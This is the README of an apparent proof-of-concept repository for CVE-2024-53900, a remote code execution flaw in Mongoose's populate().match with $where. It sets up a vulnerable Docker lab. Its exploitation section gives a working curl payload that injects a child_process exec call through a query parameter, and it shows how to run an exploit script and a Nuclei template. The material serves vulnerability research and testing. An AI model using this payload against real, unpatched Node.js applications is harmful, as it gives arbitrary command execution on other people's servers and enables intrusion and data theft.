CVE-2024-53900 PoC — Automattic Mongoose 安全漏洞

介绍

# CVE-2024-53900 - Mongoose populate().match \$where RCE

This repository provides a reproducible vulnerable environment and PoC for **CVE-2024-53900**, a critical Remote Code Execution (RCE) vulnerability in Mongoose `< 8.8.3`.

---

## 📌 Vulnerability Details

* **CVE**: [CVE-2024-53900](https://nvd.nist.gov/vuln/detail/CVE-2024-53900)
* **Affected**: Mongoose < 8.8.3
* **Severity**: Critical (CVSS 9.1)
* **Vector**: `populate().match` combined with `$where`
* **Impact**: Arbitrary JavaScript execution (RCE) in Node.js context

**References:**

* [GitHub Advisory](https://github.com/advisories/GHSA-m7xq-9374-9rvx)
* [Fix Commit](https://github.com/Automattic/mongoose/commit/c9e86bff7eef477da75a29af62a06d41a835a156)

---

## 🛠️ Setup Instructions

### 1. Clone the repository

```bash
git clone https://github.com/www-spam/CVE-2024-53900.git
cd CVE-2024-53900
```

### 2. Start environment (Docker Compose)

```bash
docker-compose up -d
```
## 📌 GUI PoC (Calculator)

By default, the vulnerable Node.js app runs inside Docker.  
However, **GUI applications (like `xcalc` or `gnome-calculator`) will not launch inside a container**.  

👉 If you want to demonstrate the RCE by launching a calculator window:

1. **Run MongoDB in Docker (as DB backend)**
   ```bash
   docker run -d --name mongo -p 27017:27017 mongo:6
   ```
   
2. **Run the vulnerable Node.js app locally**

  ```bash
     cd ~/cve-2024/app
     npm install
     node server.js
```

* MongoDB runs on port `27017`
* Vulnerable Node.js app runs on port `5000`

---

## 📂 Directory Structure

```
/home/kali/cve-2024/
├── docker-compose.yml     # Environment setup
├── exploit.py             # Automated exploit script
├── CVE-2024-53900.yaml    # Nuclei template
├── README.md              # Documentation
├── app/                   # Vulnerable Node.js app
│   ├── Dockerfile
│   ├── package.json
│   ├── server.js
│   ├── models.js
│   └── views/
└── data/                  # MongoDB volume
```

---

## 🚀 Exploitation

### Manual test

```bash
curl "http://localhost:5000/book/{OBJECT_ID}/detail?view[path]=author&view[match][$where]=global.process.mainModule.constructor._load('child_process').exec('xcalc')"
```

### Automated PoC

```bash
python3 exploit.py --url http://localhost:5000
```
### With Nuclei

```bash
nuclei \ -u http://localhost:5000/book/{{OBJECT_ID}/detail \ -t ~/.local/nuclei-templates/CVE-2024-53900.yaml \ -var pfield=author
```
<img width="1266" height="523" alt="image" src="https://github.com/user-attachments/assets/29cc7848-31d4-45f1-9eec-146f0bb2cc5c" />


---

## 🔒 Security Notes

* **For research and testing only** (not production).
* Payload restricted to safe operations (e.g., file creation).
* Fully isolated using Docker.

---

## ✅ Tested Environment

* OS: Kali Linux
* MongoDB: `mongo:6`
* Node.js: `18`
* Mongoose: `8.5.0` (vulnerable)
* Express: `4.18.2`
* 
---

## 📸 Demo

<img width="1707" height="1329" alt="Image" src="https://github.com/user-attachments/assets/49a499e6-930d-47ab-b1b2-fecb33be19ce" />

文件快照

备注